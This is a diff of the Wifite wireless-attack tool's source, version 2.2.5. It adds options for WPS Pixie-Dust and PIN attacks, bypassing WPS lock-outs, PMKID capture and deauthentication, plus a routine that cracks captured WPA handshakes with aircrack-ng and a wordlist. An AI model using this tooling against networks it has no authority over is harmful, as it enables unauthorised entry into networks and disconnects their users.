reaver = Reaver(self.target)
reaver.run() reaver.run()
self.crack_result = reaver.crack_result self.crack_result = reaver.crack_result
self.success = self.crack_result is not None self.success = self.crack_result is not None

View File

@@ -8,7 +8,7 @@ from .tools.macchanger import Macchanger
class Configuration(object): class Configuration(object):
''' Stores configuration variables and functions for Wifite. ''' ''' Stores configuration variables and functions for Wifite. '''
version = '2.2.1' version = '2.2.5'
initialized = False # Flag indicating config has been initialized initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory temp_dir = None # Temporary directory
@@ -35,7 +35,6 @@ class Configuration(object):
cls.kill_conflicting_processes = False cls.kill_conflicting_processes = False
cls.scan_time = 0 # Time to wait before attacking all targets cls.scan_time = 0 # Time to wait before attacking all targets
cls.all_targets = False # Run attacks against all targets automatically
cls.tx_power = 0 # Wifi transmit power (0 is default) cls.tx_power = 0 # Wifi transmit power (0 is default)
cls.interface = None cls.interface = None
@@ -49,6 +48,7 @@ class Configuration(object):
cls.random_mac = False # Should generate a random Mac address at startup. cls.random_mac = False # Should generate a random Mac address at startup.
cls.no_deauth = False # Deauth hidden networks & WPA handshake targets cls.no_deauth = False # Deauth hidden networks & WPA handshake targets
cls.num_deauths = 1 # Number of deauth packets to send to each target. cls.num_deauths = 1 # Number of deauth packets to send to each target.
cls.demon = False # Don't put back interface back in managed mode
cls.encryption_filter = ['WEP', 'WPA', 'WPS'] cls.encryption_filter = ['WEP', 'WPA', 'WPS']
@@ -79,14 +79,19 @@ class Configuration(object):
cls.wpa_handshake_dir = 'hs' # Dir to store handshakes cls.wpa_handshake_dir = 'hs' # Dir to store handshakes
cls.wpa_strip_handshake = False # Strip non-handshake packets cls.wpa_strip_handshake = False # Strip non-handshake packets
cls.ignore_old_handshakes = False # Always fetch a new handshake cls.ignore_old_handshakes = False # Always fetch a new handshake
# PMKID variables
cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack
cls.pmkid_timeout = 30 # Time to wait for PMKID capture
# Default dictionary for cracking # Default dictionary for cracking
cls.cracked_file = 'cracked.txt'
cls.wordlist = None cls.wordlist = None
wordlists = [ wordlists = [
'./wordlist-top4800-probable.txt', './wordlist-top4800-probable.txt', # Local file (ran from cloned repo)
'/usr/share/wordlists/wordlist-top4800-probable.txt', '/usr/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr
'/usr/local/share/wordlists/wordlist-top4800-probable.txt', '/usr/local/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr/local
# Other passwords found on Kali
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt' '/usr/share/wordlists/fern-wifi/common.txt'
@@ -101,6 +106,9 @@ class Configuration(object):
cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
cls.wps_only = False # ONLY use WPS attacks on non-WEP networks cls.wps_only = False # ONLY use WPS attacks on non-WEP networks
cls.use_bully = False # Use bully instead of reaver cls.use_bully = False # Use bully instead of reaver
cls.wps_pixie = True
cls.wps_pin = True
cls.wps_ignore_lock = False # Skip WPS PIN attack if AP is locked.
cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
cls.wps_fail_threshold = 100 # Max number of failures cls.wps_fail_threshold = 100 # Max number of failures
cls.wps_timeout_threshold = 100 # Max number of timeouts cls.wps_timeout_threshold = 100 # Max number of timeouts
@@ -126,58 +134,18 @@ class Configuration(object):
if cls.random_mac: if cls.random_mac:
Macchanger.random() Macchanger.random()
@staticmethod
def get_wireless_interface():
pass
@classmethod @classmethod
def load_from_arguments(cls): def load_from_arguments(cls):
''' Sets configuration values based on Argument.args object ''' ''' Sets configuration values based on Argument.args object '''
from .args import Arguments from .args import Arguments
args = Arguments(cls).args args = Arguments(cls).args
if args.random_mac: cls.parse_settings_args(args)
cls.random_mac = True cls.parse_wep_args(args)
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking') cls.parse_wpa_args(args)
if args.channel: cls.parse_wps_args(args)
cls.target_channel = args.channel cls.parse_pmkid_args(args)
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) cls.parse_encryption()
if args.interface:
cls.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface)
if args.target_bssid:
cls.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid)
if args.five_ghz == True:
cls.five_ghz = True
Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
if args.show_bssids == True:
cls.show_bssids = True
Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
if args.no_deauth == True:
cls.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures')
if args.num_deauths and args.num_deauths > 0:
cls.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths)
if args.target_essid:
cls.target_essid = args.target_essid
Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
if args.ignore_essid is not None:
cls.ignore_essid = args.ignore_essid
Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid)
if args.clients_only == True:
cls.clients_only = True
Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients')
if args.scan_time:
cls.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time)
if args.verbose:
cls.verbose = args.verbose
Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
if args.kill_conflicting_processes:
cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin # EvilTwin
''' '''
@@ -186,83 +154,254 @@ class Configuration(object):
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
''' '''
# WEP cls.parse_wep_attacks()
cls.validate()
# Commands
if args.cracked: cls.show_cracked = True
if args.check_handshake: cls.check_handshake = args.check_handshake
if args.crack_handshake: cls.crack_handshake = True
@classmethod
def validate(cls):
if cls.use_pmkid_only and cls.wps_only:
Color.pl('{!} {R}Bad Configuration:{O} --pmkid and --wps-only are not compatible')
raise RuntimeError('Unable to attack networks: --pmkid and --wps-only are not compatible together')
@classmethod
def parse_settings_args(cls, args):
'''Parses basic settings/configurations from arguments.'''
if args.random_mac:
cls.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} ' +
'when scanning & attacking')
if args.channel:
cls.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel ' +
'{G}%s{W}' % args.channel)
if args.interface:
cls.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface ' +
'{G}%s{W}' % args.interface)
if args.target_bssid:
cls.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID ' +
'{G}%s{W}' % args.target_bssid)
if args.five_ghz == True:
cls.five_ghz = True
Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
if args.show_bssids == True:
cls.show_bssids = True
Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
if args.no_deauth == True:
cls.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients ' +
'during scans or captures')
if args.demon == True:
cls.demon = True
Color.pl('{+} {C}option:{W} will put interface back to managed mode')
if args.num_deauths and args.num_deauths > 0:
cls.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} send {G}%d{W} deauth packets when deauthing' % (
cls.num_deauths))
if args.target_essid:
cls.target_essid = args.target_essid
Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
if args.ignore_essid is not None:
cls.ignore_essid = args.ignore_essid
Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % (
args.ignore_essid))
if args.clients_only == True:
cls.clients_only = True
Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have ' +
'associated clients')
if args.scan_time:
cls.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets ' +
'after {G}%d{W}s' % args.scan_time)
if args.verbose:
cls.verbose = args.verbose
Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
if args.kill_conflicting_processes:
cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
@classmethod
def parse_wep_args(cls, args):
'''Parses WEP-specific arguments'''
if args.wep_filter: if args.wep_filter:
cls.wep_filter = args.wep_filter cls.wep_filter = args.wep_filter
if args.wep_pps: if args.wep_pps:
cls.wep_pps = args.wep_pps cls.wep_pps = args.wep_pps
Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps) Color.pl('{+} {C}option:{W} using {G}%d{W} packets/sec on WEP attacks' % (
args.wep_pps))
if args.wep_timeout: if args.wep_timeout:
cls.wep_timeout = args.wep_timeout cls.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) Color.pl('{+} {C}option:{W} WEP attack timeout set to ' +
'{G}%d seconds{W}' % args.wep_timeout)
if args.require_fakeauth: if args.require_fakeauth:
cls.require_fakeauth = True cls.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') Color.pl('{+} {C}option:{W} fake-authentication is ' +
'{G}required{W} for WEP attacks')
if args.wep_crack_at_ivs: if args.wep_crack_at_ivs:
cls.wep_crack_at_ivs = args.wep_crack_at_ivs cls.wep_crack_at_ivs = args.wep_crack_at_ivs
Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs) Color.pl('{+} {C}option:{W} will start cracking WEP keys at ' +
'{G}%d IVs{W}' % args.wep_crack_at_ivs)
if args.wep_restart_stale_ivs: if args.wep_restart_stale_ivs:
cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) Color.pl('{+} {C}option:{W} will restart aireplay after ' +
'{G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
if args.wep_restart_aircrack: if args.wep_restart_aircrack:
cls.wep_restart_aircrack = args.wep_restart_aircrack cls.wep_restart_aircrack = args.wep_restart_aircrack
Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack) Color.pl('{+} {C}option:{W} will restart aircrack every ' +
'{G}%d seconds{W}' % args.wep_restart_aircrack)
if args.wep_keep_ivs: if args.wep_keep_ivs:
cls.wep_keep_ivs = args.wep_keep_ivs cls.wep_keep_ivs = args.wep_keep_ivs
Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks') Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')
# WPA @classmethod
def parse_wpa_args(cls, args):
'''Parses WPA-specific arguments'''
if args.wpa_filter: if args.wpa_filter:
cls.wpa_filter = args.wpa_filter cls.wpa_filter = args.wpa_filter
if args.wordlist: if args.wordlist:
if os.path.exists(args.wordlist): if not os.path.exists(args.wordlist):
cls.wordlist = args.wordlist
Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
else:
cls.wordlist = None cls.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
elif os.path.isfile(args.wordlist):
cls.wordlist = args.wordlist
Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
elif os.path.isdir(args.wordlist):
cls.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} is a directory, not a file. Wifite will NOT attempt to crack handshakes' % args.wordlist)
if args.wpa_deauth_timeout: if args.wpa_deauth_timeout:
cls.wpa_deauth_timeout = args.wpa_deauth_timeout cls.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout) Color.pl('{+} {C}option:{W} will deauth WPA clients every ' +
'{G}%d seconds{W}' % args.wpa_deauth_timeout)
if args.wpa_attack_timeout: if args.wpa_attack_timeout:
cls.wpa_attack_timeout = args.wpa_attack_timeout cls.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout) Color.pl('{+} {C}option:{W} will stop WPA handshake capture after ' +
'{G}%d seconds{W}' % args.wpa_attack_timeout)
if args.ignore_old_handshakes: if args.ignore_old_handshakes:
cls.ignore_old_handshakes = True cls.ignore_old_handshakes = True
Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)') Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes ' +
if args.use_pmkid_only: '(force capture)')
cls.use_pmkid_only = True
Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')
if args.wpa_handshake_dir: if args.wpa_handshake_dir:
cls.wpa_handshake_dir = args.wpa_handshake_dir cls.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir) Color.pl('{+} {C}option:{W} will store handshakes to ' +
'{G}%s{W}' % args.wpa_handshake_dir)
if args.wpa_strip_handshake: if args.wpa_strip_handshake:
cls.wpa_strip_handshake = True cls.wpa_strip_handshake = True
Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets') Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets')
# WPS @classmethod
def parse_wps_args(cls, args):
'''Parses WPS-specific arguments'''
if args.wps_filter: if args.wps_filter:
cls.wps_filter = args.wps_filter cls.wps_filter = args.wps_filter
if args.wps_only: if args.wps_only:
cls.wps_only = True cls.wps_only = True
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') cls.wps_filter = True # Also only show WPS networks
Color.pl('{+} {C}option:{W} will *only* attack WPS networks with ' +
'{G}WPS attacks{W} (avoids handshake and PMKID)')
if args.no_wps: if args.no_wps:
# No WPS attacks at all
cls.no_wps = args.no_wps cls.no_wps = args.no_wps
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') cls.wps_pixie = False
cls.wps_pin = False
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} ' +
'(Pixie-Dust/PIN) on targets')
elif args.wps_pixie:
# WPS Pixie-Dust only
cls.wps_pixie = True
cls.wps_pin = False
Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS Pixie-Dust ' +
'attack{W} (no {O}PIN{W}) on targets')
elif args.wps_no_pixie:
# WPS PIN only
cls.wps_pixie = False
cls.wps_pin = True
Color.pl('{+} {C}option:{W} will {G}only{W} use {C}WPS PIN attack{W} ' +
'(no {O}Pixie-Dust{W}) on targets')
if args.use_bully: if args.use_bully:
from .tools.bully import Bully
if not Bully.exists():
Color.pl('{!} {R}Bully not found. Defaulting to {O}reaver{W}')
cls.use_bully = False
else:
cls.use_bully = args.use_bully cls.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} ' +
'for WPS Attacks')
if args.wps_pixie_timeout: if args.wps_pixie_timeout:
cls.wps_pixie_timeout = args.wps_pixie_timeout cls.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout) Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after ' +
'{O}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_fail_threshold: if args.wps_fail_threshold:
cls.wps_fail_threshold = args.wps_fail_threshold cls.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
'{O}%d failures{W}' % args.wps_fail_threshold)
if args.wps_timeout_threshold: if args.wps_timeout_threshold:
cls.wps_timeout_threshold = args.wps_timeout_threshold cls.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after ' +
'{O}%d timeouts{W}' % args.wps_timeout_threshold)
# Adjust encryption filter if args.wps_ignore_lock:
cls.wps_ignore_lock = True
Color.pl('{+} {C}option:{W} will {O}ignore{W} WPS lock-outs')
@classmethod
def parse_pmkid_args(cls, args):
if args.use_pmkid_only:
cls.use_pmkid_only = True
Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')
if args.pmkid_timeout:
cls.pmkid_timeout = args.pmkid_timeout
Color.pl('{+} {C}option:{W} will wait {G}%d seconds{W} during {C}PMKID{W} capture' % args.pmkid_timeout)
@classmethod
def parse_encryption(cls):
'''Adjusts encryption filter (WEP and/or WPA and/or WPS)'''
cls.encryption_filter = [] cls.encryption_filter = []
if cls.wep_filter: cls.encryption_filter.append('WEP') if cls.wep_filter: cls.encryption_filter.append('WEP')
if cls.wpa_filter: cls.encryption_filter.append('WPA') if cls.wpa_filter: cls.encryption_filter.append('WPA')
@@ -278,11 +417,13 @@ class Configuration(object):
'targeting {G}%s-encrypted{W} networks' 'targeting {G}%s-encrypted{W} networks'
% '/'.join(cls.encryption_filter)) % '/'.join(cls.encryption_filter))
# Adjust WEP attack list @classmethod
def parse_wep_attacks(cls):
'''Parses and sets WEP-specific args (-chopchop, -fragment, etc)'''
cls.wep_attacks = [] cls.wep_attacks = []
import sys from sys import argv
seen = set() seen = set()
for arg in sys.argv: for arg in argv:
if arg in seen: continue if arg in seen: continue
seen.add(arg) seen.add(arg)
if arg == '-arpreplay': cls.wep_attacks.append('replay') if arg == '-arpreplay': cls.wep_attacks.append('replay')
@@ -299,16 +440,12 @@ class Configuration(object):
'chopchop', 'chopchop',
'caffelatte', 'caffelatte',
'p0841', 'p0841',
'hirte'] 'hirte'
]
elif len(cls.wep_attacks) > 0: elif len(cls.wep_attacks) > 0:
Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks' Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
% '{W}, {G}'.join(cls.wep_attacks)) % '{W}, {G}'.join(cls.wep_attacks))
# Commands
if args.cracked: cls.show_cracked = True
if args.check_handshake: cls.check_handshake = args.check_handshake
if args.crack_handshake: cls.crack_handshake = True
@classmethod @classmethod
def temp(cls, subfile=''): def temp(cls, subfile=''):
@@ -343,13 +480,15 @@ class Configuration(object):
Macchanger.reset_if_changed() Macchanger.reset_if_changed()
from .tools.airmon import Airmon from .tools.airmon import Airmon
if cls.interface is not None and Airmon.base_interface is not None: if cls.interface is not None and Airmon.base_interface is not None:
Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % cls.interface) if not cls.demon:
Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % cls.interface) Color.pl('{!} {O}Note:{W} Leaving interface in Monitor Mode!')
Color.pl('{!} To disable Monitor Mode when finished: ' +
'{C}airmon-ng stop %s{W}' % cls.interface)
else:
# Stop monitor mode # Stop monitor mode
#Airmon.stop(cls.interface) Airmon.stop(cls.interface)
# Bring original interface back up # Bring original interface back up
#Airmon.put_interface_up(Airmon.base_interface) Airmon.put_interface_up(Airmon.base_interface)
if Airmon.killed_network_manager: if Airmon.killed_network_manager:
Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})') Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
@@ -370,7 +509,7 @@ class Configuration(object):
result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
for (key,val) in sorted(cls.__dict__.items()): for (key,val) in sorted(cls.__dict__.items()):
if key.startswith('__') or type(val) == staticmethod or val is None: if key.startswith('__') or type(val) in [classmethod, staticmethod] or val is None:
continue continue
result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val)) result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val))
return result return result

View File

@@ -38,7 +38,7 @@ class Handshake(object):
if len(pairs) == 0 and not self.bssid and not self.essid: if len(pairs) == 0 and not self.bssid and not self.essid:
# Tshark and Pyrit failed us, nothing else we can do. # Tshark and Pyrit failed us, nothing else we can do.
raise Exception('Cannot find BSSID or ESSID in cap file') raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile)
if not self.essid and not self.bssid: if not self.essid and not self.bssid:
# We do not know the bssid nor the essid # We do not know the bssid nor the essid

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
from ..config import Configuration
import os import os
import time import time
@@ -11,7 +12,7 @@ class CrackResult(object):
''' Abstract class containing results from a crack session ''' ''' Abstract class containing results from a crack session '''
# File to save cracks to, in PWD # File to save cracks to, in PWD
cracked_file = 'cracked.txt' cracked_file = Configuration.cracked_file
def __init__(self): def __init__(self):
self.date = int(time.time()) self.date = int(time.time())
@@ -39,23 +40,35 @@ class CrackResult(object):
def save(self): def save(self):
''' Adds this crack result to the cracked file and saves it. ''' ''' Adds this crack result to the cracked file and saves it. '''
name = CrackResult.cracked_file name = CrackResult.cracked_file
json = [] saved_results = []
if os.path.exists(name): if os.path.exists(name):
with open(name, 'r') as fid: with open(name, 'r') as fid:
text = fid.read() text = fid.read()
try: try:
json = loads(text) saved_results = loads(text)
except Exception as e: except Exception as e:
Color.pl('{!} error while loading %s: %s' % (name, str(e))) Color.pl('{!} error while loading %s: %s' % (name, str(e)))
json.append(self.to_dict())
# Check for duplicates
this_dict = self.to_dict()
this_dict.pop('date')
for entry in saved_results:
this_dict['date'] = entry.get('date')
if entry == this_dict:
# Skip if we already saved this BSSID+ESSID+TYPE+KEY
Color.pl('{+} {C}%s{O} already exists in {G}%s{O}, skipping.' % (
self.essid, Configuration.cracked_file))
return
saved_results.append(self.to_dict())
with open(name, 'w') as fid: with open(name, 'w') as fid:
fid.write(dumps(json, indent=2)) fid.write(dumps(saved_results, indent=2))
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})' Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json))) % (name, len(saved_results)))
@classmethod @classmethod
def display(cls): def display(cls):
''' Show cracked targets from cracked.txt ''' ''' Show cracked targets from cracked file '''
name = cls.cracked_file name = cls.cracked_file
if not os.path.exists(name): if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)

View File

@@ -5,6 +5,11 @@ from ..util.color import Color
import re import re
class WPSState:
NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4)
class Target(object): class Target(object):
''' '''
Holds details for a 'Target' aka Access Point (e.g. router). Holds details for a 'Target' aka Access Point (e.g. router).
@@ -60,7 +65,7 @@ class Target(object):
self.essid = None # '(%s)' % self.bssid self.essid = None # '(%s)' % self.bssid
self.essid_known = False self.essid_known = False
self.wps = None self.wps = WPSState.UNKNOWN
self.decloaked = False # If ESSID was hidden but we decloaked it. self.decloaked = False # If ESSID was hidden but we decloaked it.
@@ -132,12 +137,13 @@ class Target(object):
color = 'R' color = 'R'
power = Color.s('{%s}%s' % (color, power)) power = Color.s('{%s}%s' % (color, power))
wps = Color.s('{O} n/a') if self.wps == WPSState.UNLOCKED:
if self.wps == True:
wps = Color.s('{G} yes') wps = Color.s('{G} yes')
elif self.wps == False: elif self.wps == WPSState.NONE:
wps = Color.s('{R} no') wps = Color.s('{O} no')
else: elif self.wps == WPSState.LOCKED:
wps = Color.s('{R}lock')
elif self.wps == WPSState.UNKNOWN:
wps = Color.s('{O} n/a') wps = Color.s('{O} n/a')
clients = ' ' clients = ' '

View File

@@ -7,6 +7,7 @@ from ..util.input import xrange
from ..config import Configuration from ..config import Configuration
import os import os
import re
class Aircrack(Dependency): class Aircrack(Dependency):
dependency_required = True dependency_required = True
@@ -77,6 +78,70 @@ class Aircrack(Dependency):
if os.path.exists(self.cracked_file): if os.path.exists(self.cracked_file):
os.remove(self.cracked_file) os.remove(self.cracked_file)
@staticmethod
def crack_handshake(handshake, show_command=False):
from ..util.color import Color
from ..util.timer import Timer
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', Configuration.wordlist,
'--bssid', handshake.bssid,
'-l', key_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s')
aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$')
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = 'unknown'
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent
status += ' ETA: {C}%s{W}' % eta_str
status += ' @ {C}%0.1fkps{W}' % num_kps
#status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)
status += ' (current key: {C}%s{W})' % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl('')
# Check crack result
if os.path.exists(key_file):
with open(key_file, 'r') as fid:
key = fid.read().strip()
os.remove(key_file)
return key
else:
return None
if __name__ == '__main__': if __name__ == '__main__':
(hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1')
assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey

View File

@@ -2,8 +2,8 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
from .ifconfig import Ifconfig from .ip import Ip
from .iwconfig import Iwconfig from .iw import Iw
from ..util.process import Process from ..util.process import Process
from ..util.color import Color from ..util.color import Color
from ..util.input import raw_input from ..util.input import raw_input
@@ -113,9 +113,9 @@ class Airmon(Dependency):
Manually put interface into monitor mode (no airmon-ng or vif). Manually put interface into monitor mode (no airmon-ng or vif).
Fix for bad drivers like the rtl8812AU. Fix for bad drivers like the rtl8812AU.
''' '''
Ifconfig.down(iface) Ip.down(iface)
Iwconfig.mode(iface, 'monitor') Iw.mode(iface, 'monitor')
Ifconfig.up(iface) Ip.up(iface)
# /sys/class/net/wlan0/type # /sys/class/net/wlan0/type
iface_type_path = os.path.join('/sys/class/net', iface, 'type') iface_type_path = os.path.join('/sys/class/net', iface, 'type')
@@ -132,9 +132,9 @@ class Airmon(Dependency):
Manually put interface into managed mode (no airmon-ng or vif). Manually put interface into managed mode (no airmon-ng or vif).
Fix for bad drivers like the rtl8812AU. Fix for bad drivers like the rtl8812AU.
''' '''
Ifconfig.down(iface) Ip.down(iface)
Iwconfig.mode(iface, 'managed') Iw.mode(iface, 'managed')
Ifconfig.up(iface) Ip.up(iface)
# /sys/class/net/wlan0/type # /sys/class/net/wlan0/type
iface_type_path = os.path.join('/sys/class/net', iface, 'type') iface_type_path = os.path.join('/sys/class/net', iface, 'type')
@@ -182,17 +182,17 @@ class Airmon(Dependency):
if enabled_iface is None: if enabled_iface is None:
Color.pl('{R}failed{W}') Color.pl('{R}failed{W}')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') monitor_interfaces = Iw.get_interfaces(mode='monitor')
# Assert that there is an interface in monitor mode # Assert that there is an interface in monitor mode
if len(monitor_interfaces) == 0: if len(monitor_interfaces) == 0:
Color.pl('{R}failed{W}') Color.pl('{R}failed{W}')
raise Exception('Cannot find any interfaces in Mode:Monitor') raise Exception('Cannot find any interfaces in monitor mode')
# Assert that the interface enabled by airmon-ng is in monitor mode # Assert that the interface enabled by airmon-ng is in monitor mode
if enabled_iface not in monitor_interfaces: if enabled_iface not in monitor_interfaces:
